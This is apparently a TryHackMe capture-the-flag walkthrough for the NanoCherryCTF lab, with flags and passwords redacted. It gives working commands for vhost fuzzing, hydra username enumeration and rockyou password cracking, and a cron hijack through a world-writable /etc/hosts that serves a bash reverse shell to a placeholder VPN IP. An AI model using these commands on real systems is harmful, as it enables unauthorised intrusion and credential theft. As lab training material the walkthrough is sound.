TryHackMe NanoCherryCTF Walkthrough
Original Bugflare walkthrough of the NanoCherryCTF room on TryHackMe. Rated medium. You bounce between a cheerful ice cream shop and a Nano-obsessed dark site, stitch three password scraps into Chad's login, then pull a root password out of a WAV that refuses to be a normal audio file.
If you came here for another sudo -l victory lap, keep walking. This box wants web enumeration, a hosts file you can rewrite, and a ham-radio decoder.
Spoilers below cover the path only — passwords and flags are marked xxx. Solve them yourself.
Lab prep
Hosts file on your attack box:
MACHINE_IP cherryontop.thm nano.cherryontop.thm
THM hands you an SSH backdoor up front:
notsus : xxx
Open ports that actually matter: 22 and 80. Everything else is noise for this room.
First look — shopfront and the Nano vhost
nmap -sC -sV -Pn MACHINE_IP
Port 80 serves Cherry on Top Ice Cream Shop at http://cherryontop.thm. Watch the embedded video — it basically nags you to hunt subdomains. The staff roster on the page (Molly, Sam, Bob, Chad) is not fluff. Those names line up with Linux accounts later.
Virtual-host fuzz:
ffuf -u http://cherryontop.thm/ -H "Host: FUZZ.cherryontop.thm" \
-w /usr/share/seclists/Discovery/DNS/namelist.txt -fw 839
nano pops. Point nano.cherryontop.thm at the box. You land on the dark Nano shrine with /login.php.
Already on the machine as notsus? Apache confirms it:
ssh notsus@cherryontop.thm
cat /etc/apache2/sites-enabled/b.cherryontop.thm.conf
ServerName nano.cherryontop.thm, DocumentRoot under /var/www/b.cherryontop.thm. Same story, two angles.
Molly's flag — username oracle, then rockyou
nano.cherryontop.thm/login.php is chatty in the worst way:
- unknown user →
This user doesn't exist - known user, wrong password →
Bad password
That is a free username oracle. Spray a short list with a dummy password:
hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt \
-p x nano.cherryontop.thm http-post-form \
"/login.php:username=^USER^&password=^PASS^&submit=:F=This user doesn't exist"
Valid account: puppet.
Password next:
hydra -l puppet -P /usr/share/wordlists/rockyou.txt \
nano.cherryontop.thm http-post-form \
"/login.php:username=^USER^&password=^PASS^&submit=:F=Bad password"
puppet : xxx
Molly's dashboard drops the first flag:
THM{xxx}
Buried in the "victims / chat" flavor text on the same page — Molly's SSH password:
molly-milk : xxx
SSH with that. First Chad scrap is waiting.
Scrap one — Chad key part 1
ssh molly-milk@cherryontop.thm
# password: xxx
cat ~/chads-key1.txt
xxx
DONTLOOKCHAD.txt is a joke poem. Fun lore. Zero progress. Skip it when you are hunting.
Scrap two — Base32 users and facts=43
Back to the friendly shop: http://cherryontop.thm/content.php.
Ice cream "facts" load with two query params, something like:
/content.php?facts=1&user=I52WK43U
Decode I52WK43U — Base32 for Guest. So user= is Base32(username), not a random token. Sam is the next staff name that fits:
echo -n 'sam-sprinkles' | base32
# ONQW2LLTOBZGS3TLNRSXG===
Pin that user and fuzz facts:
seq 0 100 > nums.txt
ffuf -u 'http://cherryontop.thm/content.php?facts=FUZZ&user=ONQW2LLTOBZGS3TLNRSXG===' \
-w nums.txt -fw 754
Several IDs look interesting. facts=43 spills Sam's SSH password:
sam-sprinkles : xxx
ssh sam-sprinkles@cherryontop.thm
cat ~/chads-key2.txt
xxx
Two down. One to go.
Scrap three — Bob's cron and a writable hosts file
As notsus, dig into scheduled jobs. Bob runs something like this every minute:
* * * * * bob-boba curl cherryontop.tld:8000/home/bob-boba/coinflip.sh | bash
Notice the TLD: .tld, not .thm. And here is the actual bug — /etc/hosts is world-writable:
ls -l /etc/hosts
# -rw-rw-rw- ...
You own the name resolution for cherryontop.tld. Point it at your VPN IP and serve the path the cron expects.
On the box:
echo 'YOUR_VPN_IP cherryontop.tld' >> /etc/hosts
On your attack box:
mkdir -p home/bob-boba
cat > home/bob-boba/coinflip.sh <<'EOF'
#!/bin/bash
bash -i >& /dev/tcp/YOUR_VPN_IP/9001 0>&1
EOF
python3 -m http.server 8000
# separate terminal:
nc -lvnp 9001
Wait for the minute flip. Shell as bob-boba.
cat ~/chads-key3.txt
xxx
Chad — glue the scraps
Concatenate the three parts with no separators. SSH as chad-cherry with that password:
ssh chad-cherry@cherryontop.thm
# password: xxx (parts 1+2+3)
cat ~/chad-flag.txt
THM{xxx}
Hello.txt points at rootPassword.wav. Pull it:
scp chad-cherry@cherryontop.thm:rootPassword.wav .
Root via SSTV, not your ears
Playing the WAV is a waste of time. Spectrogram looks like SSTV — Slow-Scan Television, the ham-radio "image over audio" format. Once you have ruled out plain spectrogram stego, search for SSTV decode and you are one pip install away.
pip install sstv
sstv -d rootPassword.wav -o rootPassword.png
Mode: Robot 36. The PNG is cherries plus the root password:
xxx
su -
# password: xxx
cat /root/root-flag.txt
THM{xxx}
Room answers (redacted)
| Question | Answer |
|----------|--------|
| Molly's dashboard flag | THM{xxx} |
| Chad password part 1 | xxx |
| Chad password part 2 | xxx |
| Chad password part 3 | xxx |
| Chad account flag | THM{xxx} |
| Root flag | THM{xxx} |
Accounts (passwords redacted)
| Account | Password |
|---------|----------|
| notsus (SSH) | xxx |
| puppet (web) | xxx |
| molly-milk | xxx |
| sam-sprinkles | xxx |
| chad-cherry | xxx |
| root | xxx |
What stuck with me
Login oracles turn username lists into free wins — I still see teams spray passwords first and burn hours. Encoded user= params are easy to treat as opaque IDs if you never decode a sample. Writable /etc/hosts plus a curl-to-bash cron is the whole "I decide what you download" class in one joke. And weird files are not always decoration: SSTV in a WAV is niche, but after spectrogram stego fails it is a short search, not a rabbit hole.
Swap MACHINE_IP / YOUR_VPN_IP for your lab values. Path spoilers only — grab the real flags from the box.